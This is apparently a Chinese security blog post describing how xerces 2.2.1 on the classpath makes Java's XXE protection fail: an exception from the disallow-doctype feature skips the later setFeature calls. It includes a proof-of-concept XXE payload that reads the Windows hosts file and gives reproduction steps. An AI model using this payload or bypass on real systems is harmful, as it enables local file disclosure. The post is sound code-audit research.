关于漏洞
这个漏洞是我最近在一个代码审计项目中发现的,代码中处理传入的 XML 代码时使用了 XMLReaderFactory.createXMLReader()
,并且在 classpath 下有 xerces 2.2.1 及以下版本时就会无视禁止 Doctype 的 Feature。
漏洞分析
XMLReaderFactory 是 JDK 的一个 XML 处理工厂类,xerces 是 Apache 的一个 XML 解析库。
首先附上一段做过了 XXE 防护的 Demo
package xml;
import org.xml.sax.*;
import org.xml.sax.helpers.DefaultHandler;
import org.xml.sax.helpers.XMLReaderFactory;
import java.io.IOException;
import java.io.StringBufferInputStream;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;
/**
* @author 浅蓝
* @email [email protected]
* @since 2020/6/12 19:41
*/
public class XXE {
public static void main(String[] args) throws IOException, SAXException {
XMLReader xmlReader = null;
try {
xmlReader = XMLReaderFactory.createXMLReader();
xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities",false);
xmlReader.setFeature("http://xml.org/sax/features/external-general-entities",false);
} catch (SAXNotSupportedException e) {
e.printStackTrace();
} catch (SAXNotRecognizedException e) {
e.printStackTrace();
} catch (SAXException e) {
e.printStackTrace();
}
MyHandler myHandler = new MyHandler();
xmlReader.setContentHandler(myHandler);
System.out.println(xmlReader.getClass());
xmlReader.parse(new InputSource(new StringBufferInputStream("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
"<!DOCTYPE root [\n" +
" <!ENTITY xxe SYSTEM \"file:///c:/windows/system32/drivers/etc/hosts\">\n" +
" ]>\n" +
"<evil>&xxe;</evil>")));
}
}
class MyHandler extends DefaultHandler{
String key,value;
Map<String,String> map=new HashMap<String,String>();
Set<String> must=new HashSet<String>();
public void startDocument() throws SAXException {}
public void startElement(String uri, String localName, String rawName, Attributes attlist)throws SAXException {
key=localName;
}
public void characters(char[] ch, int start, int length) {
System.out.println(new String(ch, start, length));
value = new String(ch, start, length);
}
public void endElement(String uri, String localName, String rawName) throws SAXException {
map.put(key,value);
}
public void endDocument() throws SAXException{
}
Map<String,String> getMap(){ return map;}
}
当使用了正常的 XMLReaderFactory 去创建一个 XMLReader 解析 XXE 代码,就会抛出不允许使用 DOCTYPE 的异常。
首先跟进工厂类的 createXMLReader 观察是如何创建 XMLReader 对象的。
public static XMLReader createXMLReader ()
throws SAXException
{
String className = null;
ClassLoader cl = ss.getContextClassLoader();
// 1. try the JVM-instance-wide system property
try {
className = ss.getSystemProperty(property);
}
catch (RuntimeException e) { /* continue searching */ }
// 2. if that fails, try META-INF/services/
if (className == null) {
if (!_jarread) {
_jarread = true;
String service = "META-INF/services/" + property;
InputStream in;
BufferedReader reader;
try {
if (cl != null) {
in = ss.getResourceAsStream(cl, service);
// If no provider found then try the current ClassLoader
if (in == null) {
cl = null;
in = ss.getResourceAsStream(cl, service);
}
} else {
// No Context ClassLoader, try the current ClassLoader
in = ss.getResourceAsStream(cl, service);
}
if (in != null) {
reader = new BufferedReader (new InputStreamReader (in, "UTF8"));
_clsFromJar = reader.readLine ();
in.close ();
}
} catch (Exception e) {
}
}
className = _clsFromJar;
}
// 3. Distro-specific fallback
if (className == null) {
// BEGIN DISTRIBUTION-SPECIFIC
// EXAMPLE:
// className = "com.example.sax.XmlReader";
// or a $JAVA_HOME/jre/lib/*properties setting...
className = "com.sun.org.apache.xerces.internal.parsers.SAXParser";
// END DISTRIBUTION-SPECIFIC
}
// do we know the XMLReader implementation class yet?
if (className != null)
return loadClass (cl, className);
// 4. panic -- adapt any SAX1 parser
try {
return new ParserAdapter (ParserFactory.makeParser ());
} catch (Exception e) {
throw new SAXException ("Can't create default XMLReader; "
+ "is system property org.xml.sax.driver set?");
}
}
大概流程如下
- 如果系统变量里有
org.xml.sax.driver
就将其值作为类名实例化 - 如果当前 classpath 下有
META-INF/services/org.xml.sax.driver
文件就拿文件第一行的内容作为类名实例化 - 如果以上两种情况都不满足则默认将 JDK 的
com.sun.org.apache.xerces.internal.parsers.SAXParser
类实例化
大多数情况下,默认获取的对象都是第三种。
而我发现的绕过方法是基于第二步,从 classpath 下获取 META-INF/services/org.xml.sax.driver
中的类名。
经过测试我发现当程序使用了 xerces 2.2.1 版本的情况下,设置禁止 doctype 时会抛出异常。
xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities",false);
xmlReader.setFeature("http://xml.org/sax/features/external-general-entities",false);
大多数情况下,在做 XXE 防护时第一个设置的就是 doctype,而当使用了 xerces 的时候设置禁止使用 doctype 会抛出异常,导致 try 代码块中的其他部分 setFeature 都无法执行,从而可以绕过 XXE 的防护,进行 XXE 攻击。即使 doctype 不是第一个设置的,也是可以进行 XXE DOS 攻击的。
漏洞复现
<!-- https://mvnrepository.com/artifact/xerces/xerces -->
<dependency>
<groupId>xerces</groupId>
<artifactId>xerces</artifactId>
<version>2.2.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-jelly/commons-jelly -->
<dependency>
<groupId>commons-jelly</groupId>
<artifactId>commons-jelly</artifactId>
<version>1.0.1</version>
</dependency>
使用 maven 导入以上两个库中的的任意一个。
一般 commons-jelly 用的比较多,还是最新版本。
工厂类创建 XMLReader 时,获取的是 xerces 的类。
在 XXE 防护失效后成功读取本地文件。
总结
所以以后再做代码审计时,不要看到设置了禁止使用 Doctype 时就觉得没漏洞了。
我比较好奇是如何发现这个问题的